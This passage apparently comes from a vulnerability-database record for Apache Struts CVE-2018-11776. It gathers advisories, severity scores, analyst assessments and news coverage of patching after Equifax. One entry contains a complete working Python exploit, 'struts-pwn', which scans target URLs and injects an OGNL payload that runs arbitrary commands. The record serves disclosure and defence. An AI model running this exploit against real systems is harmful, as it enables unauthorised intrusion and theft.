"3.0"}, "impactScore": 5.9}, "published": "2020-09-09T13:00:00", "type": "akamaiblog", "title": "Web Application and API Protection -- From SQL Injection to Magecart", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776"], "modified": "2020-09-09T12:10:50", "id": "AKAMAIBLOG:23A2DE4EE8CE0AE43558095CBB5694B1", "href": "http://feedproxy.google.com/~r/TheAkamaiBlog/~3/I-xYBbhp75M/web-application-and-api-protection-from-sql-injection-to-magecart.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "dsquare": [{"lastseen": "2021-07-28T14:33:45", "description": "Remote command execution vulnerability in Apache Struts 2 multiple tags result namespace handling\n\nVulnerability Type: Remote Command Execution", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2018-10-20T00:00:00", "type": "dsquare", "title": "Apache Struts 2 Multiple Tags Result Namespace Handling RCE", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776"], "modified": "2018-10-20T00:00:00", "id": "E-666", "href": "", "sourceData": "For the exploit source code contact DSquare Security sales team.", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "exploitpack": [{"lastseen": "2020-04-01T19:04:03", "description": "\nApache Struts 2.3 2.3.34 2.5 2.5.16 - Remote Code Execution (1)", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2018-08-26T00:00:00", "type": "exploitpack", "title": "Apache Struts 2.3 2.3.34 2.5 2.5.16 - Remote Code Execution (1)", "bulletinFamily": "exploit", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776"], "modified": "2018-08-26T00:00:00", "id": "EXPLOITPACK:1F2B9BFD5A42DD5C9B0CEA473ED8A8CE", "href": "", "sourceData": "#!/usr/bin/env python3\n# coding=utf-8\n# *****************************************************\n# struts-pwn: Apache Struts CVE-2018-11776 Exploit\n# Author:\n# Mazin Ahmed <Mazin AT MazinAhmed DOT net>\n# This code uses a payload from:\n# https://github.com/jas502n/St2-057\n# *****************************************************\n\nimport argparse\nimport random\nimport requests\nimport sys\ntry:\n from urllib import parse as urlparse\nexcept ImportError:\n import urlparse\n\n# Disable SSL warnings\ntry:\n import requests.packages.urllib3\n requests.packages.urllib3.disable_warnings()\nexcept Exception:\n pass\n\nif len(sys.argv) <= 1:\n print('[*] CVE: 2018-11776 - Apache Struts2 S2-057')\n print('[*] Struts-PWN - @mazen160')\n print('\\n%s -h for help.' % (sys.argv[0]))\n exit(0)\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-u\", \"--url\",\n dest=\"url\",\n help=\"Check a single URL.\",\n action='store')\nparser.add_argument(\"-l\", \"--list\",\n dest=\"usedlist\",\n help=\"Check a list of URLs.\",\n action='store')\nparser.add_argument(\"-c\", \"--cmd\",\n dest=\"cmd\",\n help=\"Command to execute. (Default: 'id')\",\n action='store',\n default='id')\nparser.add_argument(\"--exploit\",\n dest=\"do_exploit\",\n help=\"Exploit.\",\n action='store_true')\n\n\nargs = parser.parse_args()\nurl = args.url if args.url else None\nusedlist = args.usedlist if args.usedlist else None\ncmd = args.cmd if args.cmd else None\ndo_exploit = args.do_exploit if args.do_exploit else None\n\nheaders = {\n 'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2018-11776)',\n # 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',\n 'Accept': '*/*'\n}\ntimeout = 3\n\n\ndef parse_url(url):\n \"\"\"\n Parses the URL.\n \"\"\"\n\n # url: http://example.com/demo/struts2-showcase/index.action\n\n url = url.replace('#', '%23')\n url = url.replace(' ', '%20')\n\n if ('://' not in url):\n url = str(\"http://\") + str(url)\n scheme = urlparse.urlparse(url).scheme\n\n # Site: http://example.com\n site = scheme + '://' + urlparse.urlparse(url).netloc\n\n # FilePath: /demo/struts2-showcase/index.action\n file_path = urlparse.urlparse(url).path\n if (file_path == ''):\n file_path = '/'\n\n # Filename: index.action\n try:\n filename = url.split('/')[-1]\n except IndexError:\n filename = ''\n\n # File Dir: /demo/struts2-showcase/\n file_dir = file_path.rstrip(filename)\n if (file_dir == ''):\n file_dir = '/'\n\n return({\"site\": site,\n \"file_dir\": file_dir,\n \"filename\": filename})\n\n\ndef build_injection_inputs(url):\n \"\"\"\n Builds injection inputs for the check.\n \"\"\"\n\n parsed_url = parse_url(url)\n injection_inputs = []\n url_directories = parsed_url[\"file_dir\"].split(\"/\")\n\n try:\n url_directories.remove(\"\")\n except ValueError:\n pass\n\n for i in range(len(url_directories)):\n injection_entry = \"/\".join(url_directories[:i])\n\n if not injection_entry.startswith(\"/\"):\n injection_entry = \"/%s\" % (injection_entry)\n\n if not injection_entry.endswith(\"/\"):\n injection_entry = \"%s/\" % (injection_entry)\n\n injection_entry += \"{{INJECTION_POINT}}/\" # It will be renderred later with the payload.\n injection_entry += parsed_url[\"filename\"]\n\n injection_inputs.append(injection_entry)\n\n return(injection_inputs)\n\n\ndef check(url):\n random_value = int(''.join(random.choice('0123456789') for i in range(2)))\n multiplication_value = random_value * random_value\n injection_points = build_injection_inputs(url)\n parsed_url = parse_url(url)\n print(\"[%] Checking for CVE-2018-11776\")\n print(\"[*] URL: %s\" % (url))\n print(\"[*] Total of Attempts: (%s)\" % (len(injection_points)))\n attempts_counter = 0\n\n for injection_point in injection_points:\n attempts_counter += 1\n print(\"[%s/%s]\" % (attempts_counter, len(injection_points)))\n testing_url = \"%s%s\" % (parsed_url[\"site\"], injection_point)\n testing_url = testing_url.replace(\"{{INJECTION_POINT}}\", \"${{%s*%s}}\" % (random_value, random_value))\n try:\n resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)\n except Exception as e:\n print(\"EXCEPTION::::--> \" + str(e))\n continue\n if \"Location\" in resp.headers.keys():\n if str(multiplication_value) in resp.headers['Location']:\n print(\"[*] Status: Vulnerable!\")\n return(injection_point)\n print(\"[*] Status: Not Affected.\")\n return(None)\n\n\ndef exploit(url, cmd):\n parsed_url = parse_url(url)\n\n injection_point = check(url)\n if injection_point is None:\n print(\"[%] Target is not vulnerable.\")\n return(0)\n print(\"[%] Exploiting...\")\n\n payload = \"\"\"%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27{0}%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D\"\"\".format(cmd)\n\n testing_url = \"%s%s\" % (parsed_url[\"site\"], injection_point)\n testing_url = testing_url.replace(\"{{INJECTION_POINT}}\", payload)\n\n try:\n resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)\n except Exception as e:\n print(\"EXCEPTION::::--> \" + str(e))\n return(1)\n\n print(\"[%] Response:\")\n print(resp.text)\n return(0)\n\n\ndef main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit):\n if url:\n if not do_exploit:\n check(url)\n else:\n exploit(url, cmd)\n\n if usedlist:\n URLs_List = []\n try:\n f_file = open(str(usedlist), \"r\")\n URLs_List = f_file.read().replace(\"\\r\", \"\").split(\"\\n\")\n try:\n URLs_List.remove(\"\")\n except ValueError:\n pass\n f_file.close()\n except Exception as e:\n print(\"Error: There was an error in reading list file.\")\n print(\"Exception: \" + str(e))\n exit(1)\n for url in URLs_List:\n if not do_exploit:\n check(url)\n else:\n exploit(url, cmd)\n\n print(\"[%] Done.\")\n\n\nif __name__ == \"__main__\":\n try:\n main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit)\n except KeyboardInterrupt:\n print(\"\\nKeyboardInterrupt Detected.\")\n print(\"Exiting...\")\n exit(0)", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "redhatcve": [{"lastseen": "2023-06-21T02:43:47", "description": "Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16 suffer from possible Remote Code Execution when alwaysSelectFullNamespace is true (either by user or a plugin like Convention Plugin) and then: results are used with no namespace and in same time, its upper package have no or wildcard namespace and similar to results, same possibility when using url tag which doesn't have value and action set and in same time, its upper package have no or wildcard namespace.\n", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2018-08-22T08:49:33", "type": "redhatcve", "title": "CVE-2018-11776", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776"], "modified": "2023-04-06T05:27:20", "id": "RH:CVE-2018-11776", "href": "https://access.redhat.com/security/cve/cve-2018-11776", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "attackerkb": [{"lastseen": "2023-10-18T16:41:57", "description": "Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16 suffer from possible Remote Code Execution when alwaysSelectFullNamespace is true (either by user or a plugin like Convention Plugin) and then: results are used with no namespace and in same time, its upper package have no or wildcard namespace and similar to results, same possibility when using url tag which doesn\u2019t have value and action set and in same time, its upper package have no or wildcard namespace.\n\n \n**Recent assessments:** \n \n**zeroSteiner** at April 14, 2020 6:33pm UTC reported:\n\nThis vulnerability exists within the Apache Struts OGNL method dispatch routine. An attacker can submit a specially crafted HTTP request to a vulnerable web server. Specifically an attacker can taint the `name` parameter passed to [`OgnlUtil::getValue()`](<https://lgtm.com/projects/g/apache/struts/snapshot/02518d8149ff0b60863b4012cd3268cf0f2942b7/files/core/src/main/java/com/opensymphony/xwork2/ognl/OgnlUtil.java?sort=name&dir=ASC&mode=heatmap#L301>).\n\nExploitation of this vulnerability would lead to code execution within the context of the Java process powering the server. An indicator of compromise will be present in the logs at the `DEBUG` level. This IOC will look like a malformed value in the `Executing action method =` message.\n\nThe default configuration is not vulnerable. The `alwaysSelectFullNamespace` option must be enabled. This can be done by adding `<constant name=\"struts.mapper.alwaysSelectFullNamespace\" value=\"true\" />` to the `struts.xml` configuration file.\n\nAssessed Attacker Value: 4 \nAssessed Attacker Value: 4Assessed Attacker Value: 5\n", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2018-08-22T00:00:00", "type": "attackerkb", "title": "CVE-2018-11776", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776"], "modified": "2023-10-06T00:00:00", "id": "AKB:4AA28DD7-15C7-4892-96A3-0190EA268037", "href": "https://attackerkb.com/topics/jgIUjIdFUR/cve-2018-11776", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-10-18T16:44:49", "description": "Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation, when evaluated on raw user input in tag attributes, may lead to remote code execution.\n\n \n**Recent assessments:** \n \n**wvu-r7** at September 03, 2020 4:30pm UTC reported:\n\nUnlike [CVE-2017-5638](<https://attackerkb.com/topics/1MWtVe9P7w/cve-2017-5638>), which was exploitable out of the box, since it targeted Struts\u2019 Jakarta multipart parser, this vulnerability requires a certain set of circumstances to be true in order for Struts to be exploitable. Since Struts is a web application framework, this will depend entirely on the application the developers have created.\n\n**I don\u2019t know how common this particular scenario is.** Please read the [security bulletin](<https://cwiki.apache.org/confluence/display/WW/S2-059>) for more information. However, what I do know is that this CVE falls somewhere after [CVE-2017-5638](<https://attackerkb.com/topics/1MWtVe9P7w/cve-2017-5638>) and [CVE-2018-11776](<https://attackerkb.com/topics/jgIUjIdFUR/cve-2018-11776>) on the exploitability scale, from most exploitable to least: a parser flaw, a configuration flaw, and a programming flaw.\n\nSo, definitely patch this, but also follow Struts development best practices, including those outlined in their security bulletins. No measure of mitigations will protect you from poorly written code.\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 2\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-09-14T00:00:00", "type": "attackerkb", "title": "CVE-2019-0230", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638", "CVE-2018-11776", "CVE-2019-0230"], "modified": "2023-10-07T00:00:00", "id": "AKB:289DC3CE-ED8A-4366-89F0-46E148584C36", "href": "https://attackerkb.com/topics/mcp2xl4Va9/cve-2019-0230", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-10-18T16:36:59", "description": "In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are from 1.3.0 before 7.4.17, from 7.13.0 before 7.13.7, from 7.14.0 before 7.14.3, from 7.15.0 before 7.15.2, from 7.16.0 before 7.16.4, from 7.17.0 before 7.17.4, and from 7.18.0 before 7.18.1.\n\n \n**Recent assessments:** \n \n**noraj** at April 15, 2023 7:34pm UTC reported:\n\nIt\u2019s easy to weaponize, even manually but there are dozens of exploits available. There is a [TryHackMe room](<https://tryhackme.com/room/cve202226134>) about CVE-2022-26134 to practice in a lab environment.\n\n**jbaines-r7** at June 03, 2022 7:21pm UTC reported:\n\nIt\u2019s easy to weaponize, even manually but there are dozens of exploits available. There is a [TryHackMe room](<https://tryhackme.com/room/cve202226134>) about CVE-2022-26134 to practice in a lab environment.\n\nAssessed Attacker Value: 4 \nAssessed Attacker Value: 4Assessed Attacker Value: 5\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-07-13T00:00:00", "type": "attackerkb", "title": "CVE-2022-26134", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776", "CVE-2021-26084", "CVE-2022-26134", "CVE-2022-26314"], "modified": "2022-07-13T00:00:00", "id": "AKB:812ED357-C31F-4733-AFDA-96FACDD8A486", "href": "https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "krebs": [{"lastseen": "2018-08-23T21:31:12", "description": "In September 2017, **Equifax** disclosed that a failure to patch one of its Internet servers against a pervasive software flaw -- in a Web component known as **Apache Struts** -- led to a breach that [exposed personal data on 147 million Americans](<https://krebsonsecurity.com/2017/09/the-equifax-breach-what-you-should-know/>). Now security experts are warning that blueprints showing malicious hackers how to exploit a newly-discovered Apache Struts bug are available online, leaving countless organizations in a rush to apply new updates and plug the security hole before attackers can use it to wriggle inside.\n\n\n\nOn Aug. 22, the **Apache Software Foundation** released software updates to fix [a critical vulnerability](<https://cwiki.apache.org/confluence/display/WW/S2-057>) in Apache Struts, a Web application platform used by an estimated 65 percent of Fortune 100 companies. Unfortunately, computer code that can be used to exploit the bug has since been posted online, meaning bad guys now have precise instructions on how to break into vulnerable, unpatched servers.\n\nAttackers can exploit a Web site running the vulnerable Apache Struts installation using nothing more than a Web browser. The bad guy simply needs to send the right request to the site and the Web server will run any command of the attacker's choosing. At that point, the intruder could take any number of actions, such as adding or deleting files, or copying internal databases.\n\nAn [alert](<https://semmle.com/news/apache-struts-CVE-2018-11776>) about the Apache security update was posted Wednesday by **Semmle**, the San Francisco software company whose researchers discovered the bug.\n\n\"The widespread use of Struts by leading enterprises, along with the proven potential impact of this sort of vulnerability, illustrate the threat that this vulnerability poses,\" the alert warns.\n\n\"Critical remote code execution vulnerabilities like the one that affected Equifax and the one we announced today are incredibly dangerous for several reasons: Struts is used for publicly-accessible customer-facing websites, vulnerable systems are easily identified, and the flaw is easy to exploit,\" wrote Semmle co-founder **Pavel Avgustinov**. \"A hacker can find their way in within minutes, and exfiltrate data or stage further attacks from the compromised system. It\u2019s crucially important to update affected systems immediately; to wait is to take an irresponsible risk.\"\n\nThe timeline in the 2017 Equifax breach highlights how quickly attackers can take advantage of Struts flaws. On March 7, 2017, Apache released a patch for a similarly dangerous Struts flaw, and within 24 hours of that update security experts began tracking signs that attackers were exploiting vulnerable servers.\n\nJust three days after the patch was released, attackers found Equifax's servers were vulnerable to the Apache Struts flaw, and used the vulnerability as an initial entry point into the credit bureau's network.\n\n[](<https://krebsonsecurity.com/wp-content/uploads/2018/08/equifaxhack.png>)\n\nA slide from \"We are all Equifax,\" an RSA talk given in April 2018 by Derek Weeks.\n\nThe vulnerability affects all supported versions of Struts 2. Users of Struts _2.3_ should upgrade to version _2.3.35;_ users of Struts _2.5_ should upgrade to _2.5.17_.\n\nMore technical details about this bug from its discoverer, **Man Yue Mo**, are [here](<https://lgtm.com/blog/apache_struts_CVE-2018-11776>). The Apache Software Foundation's advisory is [here](<https://cwiki.apache.org/confluence/display/WW/S2-057>).", "edition": 2, "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2018-08-23T20:22:35", "type": "krebs", "title": "Experts Urge Rapid Patching of \u2018Struts\u2019 Bug", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776"], "modified": "2018-08-23T20:22:35", "id": "KREBS:B3A2371A1AB31AB3CE2E3F1B2243FDC6", "href": "https://krebsonsecurity.com/2018/08/experts-urge-rapid-patching-of-struts-bug/", "cvss": {"score": 0.0, "vector": "NONE"}}], "impervablog": [{"lastseen": "2018-08-23T17:31:04", "description": "On August 22, Apache Struts released a [security patch](<http://struts.apache.org/announce.html#a20180822-1>) fixing a critical remote code execution vulnerability. This vulnerability has been assigned CVE-2018-11776 (S2-057) and affects Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16. \n\nThe vulnerability was responsibly disclosed by Man Yue Mo from the Semmle Security Research team, check out a detailed description [here](<https://lgtm.com/blog/apache_struts_CVE-2018-11776>). An [exploit PoC ](<https://github.com/jas502n/St2-057/blob/master/README.md>)has already been published. \n\n[Imperva WAF](<https://www.imperva.com/products/application-security/web-application-firewall-waf/>) customers are protected out of the box against this vulnerability, no need for any special configuration on the customer end.", "edition": 2, "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2018-08-23T14:25:36", "type": "impervablog", "title": "Read: Apache Struts Patches \u2018Critical Vulnerability\u2019 CVE-2018-11776", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776"], "modified": "2018-08-23T14:25:36", "id": "IMPERVABLOG:E9D83907E76B2B468512918F211FB65E", "href": "https://www.imperva.com/blog/2018/08/read-apache-struts-patches-critical-vulnerability-cve-2018-11776/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-11-25T17:36:07", "description": "\n\nPython will soon be the world\u2019s most prevalent coding language. \n\nThat\u2019s quite a statement, but if you look at its simplicity, flexibility and the relative ease with which folks pick it up, it\u2019s not hard to see why [The Economist](<https://www.economist.com/graphic-detail/2018/07/26/python-is-becoming-the-worlds-most-popular-coding-language>) recently touted it as the soon-to-be most used language, globally. Naturally, our threat research team had to poke around and see how popular Python is among bad actors. \n\nAnd the best place to do that, well, [Github](<https://github.com/>), of course. Roughly estimating, more than 20% of GitHub repositories that implement an attack tool / exploit PoC are written in Python. In virtually every security-related topic in GitHub, the majority of the repositories are written in Python, including tools such as [w3af](<https://github.com/andresriancho/w3af>) , [Sqlmap](<https://github.com/sqlmapproject/sqlmap>), and even the infamous [AutoSploit](<https://www.imperva.com/>) tool.\n\nAt [Imperva](<https://www.imperva.com/>), we use an advanced intelligent [Client Classification](<https://www.incapsula.com/blog/how-incapsula-client-classification-challenges-bots.html>) mechanism that distinguishes and classifies various web clients. When we take a look at our data, specifically security incidents, the majority of the clients (>25%) we identify -- excluding vulnerability scanners -- are based on [Python](<https://github.com/topics/security?l=python>). \n\nUnlike other clients, in Python, we see a host of different attack vectors and the usage of known exploits. Hackers, like developers, enjoy Python\u2019s advantages which makes it a popular hacking tool.\n\n Figure 1: Security incidents by client, excluding vulnerability scanners. More than 25% of the clients were Python-based tools used by malicious actors, making it the most common vector for launching exploit attempts.\n\n**When examining the use of Python** in attacks against sites we protect, the result was unsurprising - a large chunk, up to 77%, of the sites were attacked by a Python-based tool, and in over a third of the cases a Python-based tool was responsible for the majority of daily attacks. These levels, over time, show that Python-based tools are used for both breadth and depth scanning. \n\n Figure 2: Daily percentage of sites suffering Python-based attacks\n\n## **Python Modules**\n\nThe two most popular Python modules used for web attacks are Urllib and Python Requests. The chart below shows attack distribution. Use of the new module, Async IO, is just kicking off, which makes perfect sense when you consider the vast possibilities the library offers in the field of [layer 7 DDoS](<https://www.imperva.com/app-security/threatglossary/ddos-attacks/>); especially when using a \u201cSpray N\u2019 Pray\u201d technique: \n\n\n## **Python and Known Exploits**\n\nThe advantages of Python as a coding language make it a popular tool for implementing known exploits. We collected information on the top 10 vulnerabilities recently used by a Python-based tool, and we don\u2019t expect it to stop.\n\nThe two most popular attacks in the last 2 months used CVE-2017-9841 - a PHP based Remote Code Execution (RCE) vulnerability in the PHPUnit framework, and CVE-2015-8562 which is a RCE against the Joomla! Framework. It isn\u2019t surprising that the most common attacks had RCE potential, considering how valuable it is to malicious actors.\n\nAnother example, which isn't in the top 10, is CVE-2018-1000207, which had hundreds of attacks each day for several days during the last week of August 2018. Deeper analysis shows that the attack was carried out on multiple protected customers, by a group of IPs from China.\n\n## **CVEs over time**\n\n \nYou can see that the number of CVEs which are being used by attackers, according to our data, has increased in the last few years: \n \nIn addition, Python is used to target specific applications and frameworks - below you can find the top 10, according to our data: \n \nWhen we looked at all the frameworks targeted by Python, the attacks that stand out are those aimed at Struts, WordPress, Joomla and Drupal, which is not surprising as these are currently [some of the most popular frameworks](<https://websitesetup.org/popular-cms/>) out there.\n\n## **Attack vectors**\n\nThe most popular HTTP parameter value we\u2019ve seen used in attacks, responsible for around 30% of all different param values used, belongs to a backdoor upload attempt through a PHP 